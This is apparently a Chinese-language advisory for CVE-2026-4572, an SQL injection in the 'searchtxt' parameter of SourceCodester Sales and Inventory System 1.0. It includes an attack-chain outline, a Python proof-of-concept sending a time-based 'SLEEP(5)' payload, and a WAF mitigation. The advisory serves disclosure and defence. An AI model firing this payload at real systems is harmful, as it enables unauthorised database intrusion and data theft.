IPBUF安全漏洞报告
English
CVE-2026-4572 CVSS 6.3 中危

CVE-2026-4572 SourceCodester销售库存系统SQL注入漏洞

披露日期: 2026-03-23

漏洞信息

漏洞编号
CVE-2026-4572
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Sales and Inventory System

相关标签

SQL注入SourceCodesterCVE-2026-4572Web安全远程代码执行中危漏洞

漏洞概述

SourceCodester Sales and Inventory System 1.0被发现存在SQL注入漏洞。该漏洞位于/view_product.php文件中,攻击者可以通过操纵HTTP POST请求中的searchtxt参数来执行恶意SQL语句。由于该漏洞无需用户交互且攻击复杂度较低,远程攻击者可利用此漏洞窃取数据库敏感信息、篡改数据或影响系统可用性。目前相关利用代码已公开,建议用户尽快采取修复措施。

技术细节

该漏洞的核心成因在于SourceCodester Sales and Inventory System 1.0在/view_product.php文件中处理HTTP POST请求逻辑时存在缺陷。系统未对用户提交的searchtxt参数实施有效的输入验证或参数化查询机制,直接将其拼接到SQL查询语句中。攻击者可利用这一漏洞,通过发送特制的POST请求注入恶意SQL代码。根据CVSS 3.1评分向量,该漏洞具备网络攻击向量,攻击复杂度低,且无需用户交互。攻击者仅需低权限账户即可从远程发起攻击。成功的利用可能导致数据库敏感信息泄露、数据完整性受损以及系统服务不可用等严重后果。

攻击链分析

STEP 1
步骤1:侦察
攻击者识别出目标系统运行的是SourceCodester Sales and Inventory System 1.0,并确定目标存在/view_product.php接口。
STEP 2
步骤2:制作载荷
攻击者构造针对MySQL数据库的SQL注入Payload,针对searchtxt参数进行测试(例如使用 UNION SELECT 或基于时间的注入语句)。
STEP 3
步骤3:发送恶意请求
攻击者向目标服务器发送包含恶意searchtxt参数的HTTP POST请求。
STEP 4
步骤4:执行注入
后端服务器未过滤参数,直接将其拼接到SQL查询中执行,导致数据库返回敏感信息或产生延迟。
STEP 5
步骤5:数据窃取或破坏
攻击者利用注入漏洞提取用户凭证、修改库存数据或破坏数据库完整性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_sqli_vulnerability(target_url): """ Proof of Concept for CVE-2026-4572 Tests for SQL Injection in searchtxt parameter """ target_endpoint = f"{target_url}/view_product.php" # Payload using time-based blind SQL injection technique # This attempts to cause a delay of 5 seconds if the database executes the sleep command payload = "' OR SLEEP(5)-- -" # Data to be sent via POST request post_data = { "searchtxt": payload } try: print(f"[*] Sending request to {target_endpoint}...") response = requests.post(target_endpoint, data=post_data, timeout=10) # Check if the response time indicates successful execution (approx 5 seconds) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! The application responded with a delay.") print(f"[+] Response time: {response.elapsed.total_seconds()} seconds") else: print("[-] Vulnerability not detected or payload failed.") print(f"[-] Response time: {response.elapsed.total_seconds()} seconds") except requests.exceptions.RequestException as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost" check_sqli_vulnerability(target)

影响范围

SourceCodester Sales and Inventory System 1.0

防御指南

临时缓解措施
在官方补丁未发布前,建议在Web应用防火墙(WAF)中添加规则,拦截对/view_product.php的POST请求中包含SQL关键词(如UNION, SELECT, SLEEP等)的数据包,或临时禁用该搜索功能模块。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表